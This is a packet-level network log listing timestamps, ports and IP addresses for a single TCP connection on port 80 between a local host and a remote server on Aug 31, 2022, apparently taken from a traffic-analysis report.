Aug 31, 2022 14:28:35.635421038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635443926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635458946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635463953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635484934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635499001 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635505915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635525942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635545969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635561943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635565996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635580063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635584116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636502981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636523962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636547089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636567116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636586905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636607885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636615992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636647940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636651039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636653900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636679888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636703968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636719942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636724949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636734009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636810064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636847019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636907101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636908054 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636929989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636949062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636967897 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.636969090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.636989117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637010098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637029886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637031078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637043953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637051105 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637406111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637531996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637552977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637589931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637598038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637614965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637624025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637635946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637658119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637677908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637680054 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637701988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637728930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637743950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.637789011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.637991905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638012886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638032913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638046980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638066053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638078928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638087988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638122082 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638175964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638197899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638216972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638231993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638240099 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638248920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638330936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638353109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638365984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638369083 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638386011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638400078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638406992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638457060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638461113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638493061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638561964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638582945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638602972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638612986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638622999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638624907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638643980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638658047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638690948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638855934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638899088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638919115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638938904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638948917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638959885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.638971090 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.638994932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639008999 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639015913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639062881 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639094114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639108896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639122963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639142990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639158010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639194965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639215946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639235973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639256954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639269114 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639277935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639283895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639298916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639374971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639391899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639395952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639410973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639417887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.639947891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639971972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.639991045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640012026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640033960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640053988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640074015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640096903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640116930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640130997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640177011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.640197039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.640209913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640288115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640310049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640324116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640368938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640392065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640414953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640435934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640456915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640505075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640501976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.640526056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.640527010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640547991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640568972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640589952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640599012 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.640604973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.640713930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641036034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641176939 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641210079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641238928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641259909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641278982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641305923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641316891 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641329050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641356945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641357899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641369104 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641401052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641427994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641443968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641474009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641489029 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641501904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641526937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641530037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641550064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641571045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641577005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641598940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641618013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641642094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641644001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641661882 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641669989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641690016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641704082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641736031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.641938925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641973019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.641993999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642020941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642020941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642044067 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642051935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642081022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642097950 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642111063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642138004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642157078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642193079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642205000 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642208099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642214060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642316103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642335892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642359972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642364979 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642378092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642395020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642417908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642421961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642440081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642441988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642457962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642472982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642493963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642498016 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642544031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642574072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642604113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642647982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642690897 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642693043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642714024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642734051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642756939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642765045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642776966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642777920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.642793894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642806053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.642838955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643215895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643234968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643290043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643290043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643373966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643393993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643416882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643418074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643439054 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643440962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643460035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643475056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643495083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643508911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643510103 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643522024 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643554926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643574953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643614054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643654108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643659115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643672943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643682003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643703938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643719912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643773079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643771887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.643791914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643807888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643817902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.643889904 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644165993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644187927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644205093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644248962 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644253969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644260883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644273043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644295931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644313097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644334078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644341946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644356966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644372940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644388914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644401073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644455910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644495964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644520998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644537926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644552946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644567966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644571066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644589901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644607067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644608974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644627094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644642115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644654989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644668102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644715071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644793034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644809008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644825935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644840002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644849062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644855976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644865990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644881964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644912004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644927979 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.644939899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644963026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644979954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.644990921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645024061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645468950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645488024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645503044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645539045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645564079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645586967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645610094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645627022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645642996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645656109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645664930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645688057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645699024 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645704031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645731926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645754099 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645854950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645901918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645925999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645946980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645962954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645965099 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645979881 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.645982027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.645994902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646004915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646013975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646049976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646070004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646089077 CEST	80	49726	85.209.157.230	192.168.2.4
